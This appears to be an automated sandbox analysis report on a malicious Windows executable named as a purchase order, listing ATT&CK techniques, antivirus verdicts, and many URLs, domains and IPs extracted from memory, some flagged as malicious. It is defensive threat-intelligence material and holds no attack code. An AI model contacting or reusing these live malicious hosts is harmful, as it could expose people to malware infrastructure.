Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	231 Windows Management Instrumentation	1 DLL Side-Loading	211 Process Injection	1 Disable or Modify Tools	1 OS Credential Dumping	1 Query Registry	Remote Services	1 Email Collection	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	261 Virtualization/Sandbox Evasion	1 Credentials in Registry	541 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	211 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	1 Data from Local System	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	261 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	24 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	34 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
PO-065-01-2024E-2.exe	55%	ReversingLabs	ByteCode-MSIL.Adware.RedCap
PO-065-01-2024E-2.exe	100%	Avira	TR/Redcap.puots
PO-065-01-2024E-2.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://14.207.167.114:8080://proxy	0%	Avira URL Cloud	safe
http://103.169.254.186:8061://proxy	0%	Avira URL Cloud	safe
http://41.128.148.76:1976	0%	Avira URL Cloud	safe
http://51.158.98.197:16379://proxy	0%	Avira URL Cloud	safe
http://170.210.121.190:8080://proxy	0%	Avira URL Cloud	safe
http://89.250.152.76:8080://proxy	0%	Avira URL Cloud	safe
http://5.58.33.187:55507	0%	Avira URL Cloud	safe
http://190.217.7.8:999://proxy	0%	Avira URL Cloud	safe
http://102.68.129.	0%	Avira URL Cloud	safe
http://82.137.244.	0%	Avira URL Cloud	safe
http://37.53.90.82:12542	0%	Avira URL Cloud	safe
http://195.201.246.166:5566	0%	Avira URL Cloud	safe
http://103.26.108.118:84	0%	Avira URL Cloud	safe
http://5.252.23.220:3128	0%	Avira URL Cloud	safe
http://103.143.9.85:8088://proxy	0%	Avira URL Cloud	safe
http://127.0.0.7:80	0%	Avira URL Cloud	safe
http://104.21.6.88:80	0%	Avira URL Cloud	safe
http://161.97.173.78:49145://proxy	0%	Avira URL Cloud	safe
http://176.113.73.99:3128	0%	Avira URL Cloud	safe
http://173.212.209.49:31673	0%	Avira URL Cloud	safe
http://37.187.77.58:64494://proxy	0%	Avira URL Cloud	safe
http://104.16.213.202://proxy	0%	Avira URL Cloud	safe
http://50.207.199.85://proxy	0%	Avira URL Cloud	safe
http://188.163.170.130:41209Pr	0%	Avira URL Cloud	safe
http://92.205.61.38:4300://proxy	0%	Avira URL Cloud	safe
http://165.227.95.2:8080://proxy	0%	Avira URL Cloud	safe
http://185.82.87.30:1080://proxy	0%	Avira URL Cloud	safe
http://50.145.6.36	0%	Avira URL Cloud	safe
http://178.212.48.80:8080	0%	Avira URL Cloud	safe
http://69.167.169.46:12903p	0%	Avira URL Cloud	safe
http://45.174.248.19:999	0%	Avira URL Cloud	safe
http://162.240.73.148:34447	0%	Avira URL Cloud	safe
http://163.172.137.49:16379	0%	Avira URL Cloud	safe
http://124.158.186.254:8080://proxy	0%	Avira URL Cloud	safe
http://107.180.95.177:63951://proxy	0%	Avira URL Cloud	safe
http://50.174.214.218://proxy	0%	Avira URL Cloud	safe
http://51.77.65.164:31979	0%	Avira URL Cloud	safe
http://23.152.40.14:3128	0%	Avira URL Cloud	safe
http://72.10.160.90:17893	0%	Avira URL Cloud	safe
http://181.205.41.21:7654	0%	Avira URL Cloud	safe
http://203.119.147.187:80	0%	Avira URL Cloud	safe
http://207.244.255.174:19770	0%	Avira URL Cloud	safe
http://50.145.6.32	0%	Avira URL Cloud	safe
http://103.28.121.58:3128://proxy	0%	Avira URL Cloud	safe
http://47.222.18.105:83://proxy	0%	Avira URL Cloud	safe
http://184.178.172.25:15291	0%	Avira URL Cloud	safe
http://51.89.173.40:31724://proxy	0%	Avira URL Cloud	safe
http://201.77.108.64:999	0%	Avira URL Cloud	safe
http://109.195.23.223:34031	0%	Avira URL Cloud	safe
http://36.90.61.224:4145://proxy	0%	Avira URL Cloud	safe
http://199.229.254	0%	Avira URL Cloud	safe
http://213.33.126.130:80	0%	Avira URL Cloud	safe
http://93.182.76.244:5678://proxy	0%	Avira URL Cloud	safe
http://103.212.93.241:45639	0%	Avira URL Cloud	safe
http://212.220.13.98:4153://proxy	0%	Avira URL Cloud	safe
http://186.251.255.105:31337://proxy	0%	Avira URL Cloud	safe
http://203.128.77.213:33378	0%	Avira URL Cloud	safe
http://163.44.253.160	0%	Avira URL Cloud	safe
http://207.180.234.220:39737	0%	Avira URL Cloud	safe
http://45.7.24.102:3128://proxy	0%	Avira URL Cloud	safe
http://27.0.234.206:1080://proxy	0%	Avira URL Cloud	safe
http://198.44.255.3://proxy	0%	Avira URL Cloud	safe
http://104.20.103.68://proxy	0%	Avira URL Cloud	safe
http://92.204.134.38:9375://proxy	0%	Avira URL Cloud	safe
http://102.216.69.176:8080://proxy	0%	Avira URL Cloud	safe
http://190.211.250.131:999	0%	Avira URL Cloud	safe
http://2.179.193.146:3128	0%	Avira URL Cloud	safe
http://103.90.227.244:3128	0%	Avira URL Cloud	safe
http://98.64.169.17:8080://proxy	0%	Avira URL Cloud	safe
http://59.98.4.70:8080	0%	Avira URL Cloud	safe
http://67.43.227.227:2411	0%	Avira URL Cloud	safe
http://50.63.12.33:50781://proxy	0%	Avira URL Cloud	safe
http://72.169.67.61:87://proxy	0%	Avira URL Cloud	safe
http://173.212.209.49:31673://proxy	0%	Avira URL Cloud	safe
http://91.134.140.160:27207://proxy	0%	Avira URL Cloud	safe
http://138.36.150.	0%	Avira URL Cloud	safe
http://72.10.160.170:5385://proxy	0%	Avira URL Cloud	safe
http://39.108.227.108:80	0%	Avira URL Cloud	safe
http://186.251.255.249:31337://proxy	0%	Avira URL Cloud	safe
http://184.178.172.26:4145://proxy	0%	Avira URL Cloud	safe
http://190.153.121.2:4145://proxy	0%	Avira URL Cloud	safe
http://94.101.179.153:9050://proxy	0%	Avira URL Cloud	safe
http://107.180.90.88:64081://proxy	0%	Avira URL Cloud	safe
http://148.135.119.4:6666://proxy	0%	Avira URL Cloud	safe
http://152.32.132.220://proxy	0%	Avira URL Cloud	safe
http://189.240.60.164:9090://proxy	0%	Avira URL Cloud	safe
http://46.21.153.16:3128://proxy	0%	Avira URL Cloud	safe
http://103.174.178.249:2004	0%	Avira URL Cloud	safe
http://27.123.3.138:4145	0%	Avira URL Cloud	safe
http://94.131.203.7:8080	0%	Avira URL Cloud	safe
http://1.179.148.9:55636	100%	Avira URL Cloud	malware
http://202.164.209.69:5020://proxy	0%	Avira URL Cloud	safe
http://103.216.51.36:32650	0%	Avira URL Cloud	safe
http://149.126.101.162:8080://proxy	0%	Avira URL Cloud	safe
http://188.132.222.194:8080://proxy	0%	Avira URL Cloud	safe
http://107.180.90.88:20309	0%	Avira URL Cloud	safe
http://184.178.172.14:4145://proxy	0%	Avira URL Cloud	safe
http://147.75.34.86:10003://proxy	0%	Avira URL Cloud	safe
http://221.153.92.39:80	0%	Avira URL Cloud	safe
http://41.77.188.131://proxy	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
ktxcomay.com.vn	222.255.238.159	true	false	unknown
github.com	140.82.114.3	true	false	high
www.avis.com.hn	104.21.84.251	true	false	unknown
ip-api.com	208.95.112.1	true	false	high
heygirlisheeverythingyouwantedinaman.com	172.67.190.93	true	true	unknown
mail.supplyvan.xyz	unknown	unknown	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://89.250.152.76:8080://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C761B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://170.210.121.190:8080://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C7F1B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://190.217.7.8:999://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C761B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://102.68.129.	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C8302000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://5.58.33.187:55507	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C5A86000.00000004.00000800.00020000.00000000.sdmp, PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C59C1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://41.128.148.76:1976	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C5DCC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.169.254.186:8061://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C5DCC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://14.207.167.114:8080://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C8302000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://51.158.98.197:16379://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C761B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://82.137.244.	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C761B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://37.53.90.82:12542	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C761B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.26.108.118:84	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C5741000.00000004.00000800.00020000.00000000.sdmp, PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C5776000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://5.252.23.220:3128	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C8302000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://176.113.73.99:3128	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C6CF9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://104.21.6.88:80	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C57D1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://161.97.173.78:49145://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C761B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://173.212.209.49:31673	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C761B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://195.201.246.166:5566	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C6CF9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://127.0.0.7:80	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C761B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.143.9.85:8088://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C94A9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://37.187.77.58:64494://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C67D0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://104.16.213.202://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C58B4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://50.207.199.85://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C761B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://92.205.61.38:4300://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C7F1B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://165.227.95.2:8080://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C761B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://188.163.170.130:41209Pr	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C94A9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://50.145.6.36	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C6304000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://178.212.48.80:8080	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C925B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.82.87.30:1080://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C5A9F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://69.167.169.46:12903p	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C925B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://45.174.248.19:999	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C67D0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://162.240.73.148:34447	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C94A9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://124.158.186.254:8080://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C6A2F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://163.172.137.49:16379	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C6CF9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://50.174.214.218://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C8302000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://51.77.65.164:31979	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C6304000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://72.10.160.90:17893	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C6304000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://23.152.40.14:3128	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C6CF9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.180.95.177:63951://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C6CF9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://181.205.41.21:7654	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C925B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://203.119.147.187:80	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C761B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://207.244.255.174:19770	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C761B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://50.145.6.32	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C94A9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://103.28.121.58:3128://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C761B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://109.195.23.223:34031	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C6A79000.00000004.00000800.00020000.00000000.sdmp, PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C66F6000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://184.178.172.25:15291	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C7F1B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://47.222.18.105:83://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C5FD1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://51.89.173.40:31724://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C8302000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://201.77.108.64:999	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C67D0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://213.33.126.130:80	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C94A9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://199.229.254	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C761B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://36.90.61.224:4145://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C5DCC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://103.212.93.241:45639	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C5DCC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://93.182.76.244:5678://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C761B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://186.251.255.105:31337://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C5B1A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://212.220.13.98:4153://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C8302000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://203.128.77.213:33378	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C8302000.00000004.00000800.00020000.00000000.sdmp, PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C6A46000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://207.180.234.220:39737	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C8751000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://163.44.253.160	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C94A9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://45.7.24.102:3128://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C761B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://27.0.234.206:1080://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C6CF9000.00000004.00000800.00020000.00000000.sdmp, PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C8302000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://102.216.69.176:8080://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C7F1B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://198.44.255.3://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C6CF9000.00000004.00000800.00020000.00000000.sdmp, PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C8302000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://92.204.134.38:9375://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C5741000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://104.20.103.68://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C6CF9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://190.211.250.131:999	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C761B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://2.179.193.146:3128	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C6CF9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://98.64.169.17:8080://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C6304000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://103.90.227.244:3128	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C7F1B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://59.98.4.70:8080	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C94A9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://67.43.227.227:2411	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C925B000.00000004.00000800.00020000.00000000.sdmp, PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C8751000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://50.63.12.33:50781://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C761B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://72.169.67.61:87://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C5706000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://138.36.150.	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C8302000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://173.212.209.49:31673://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C761B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://91.134.140.160:27207://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C761B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://72.10.160.170:5385://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C5DCC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://39.108.227.108:80	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C761B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://186.251.255.249:31337://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C94A9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://184.178.172.26:4145://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C94A9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://190.153.121.2:4145://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C59AA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://94.101.179.153:9050://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C8302000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://27.123.3.138:4145	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C59D8000.00000004.00000800.00020000.00000000.sdmp, PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C58B4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://152.32.132.220://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C6CF9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.180.90.88:64081://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C7F1B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://103.174.178.249:2004	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C7F1B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://94.131.203.7:8080	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C6304000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://1.179.148.9:55636	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C761B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://148.135.119.4:6666://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C8751000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://189.240.60.164:9090://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C7F1B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://46.21.153.16:3128://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C8751000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://202.164.209.69:5020://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C761B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://103.216.51.36:32650	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C761B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://149.126.101.162:8080://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C58B4000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://41.77.188.131://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C6CF9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://188.132.222.194:8080://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C5B1A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://107.180.90.88:20309	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C7F1B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://184.178.172.14:4145://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C5B1A000.00000004.00000800.00020000.00000000.sdmp, PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C761B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://221.153.92.39:80	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C8751000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.75.34.86:10003://proxy	PO-065-01-2024E-2.exe, 00000000.00000002.2715938244.000001C0C5DCC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
93.171.243.253	unknown	Czech Republic	8870	OVDC-ASUA	false
212.110.188.202	unknown	United Kingdom	35425	BYTEMARK-ASGB	true
24.230.33.96	unknown	United States	11232	MIDCO-NETUS	false
43.128.107.251	unknown	Japan	4249	LILLY-ASUS	false
182.160.100.156	unknown	Bangladesh	24323	AAMRA-NETWORKS-AS-APaamranetworkslimitedBD	false
50.169.37.50	unknown	United States	7922	COMCAST-7922US	false
103.216.51.36	unknown	Cambodia	135375	TCC-AS-APTodayCommunicationCoLtdKH	true
193.143.1.201	unknown	unknown	57271	BITWEB-ASRU	true
78.90.252.7	unknown	Bulgaria	20911	NETSURF-AS-BG	false
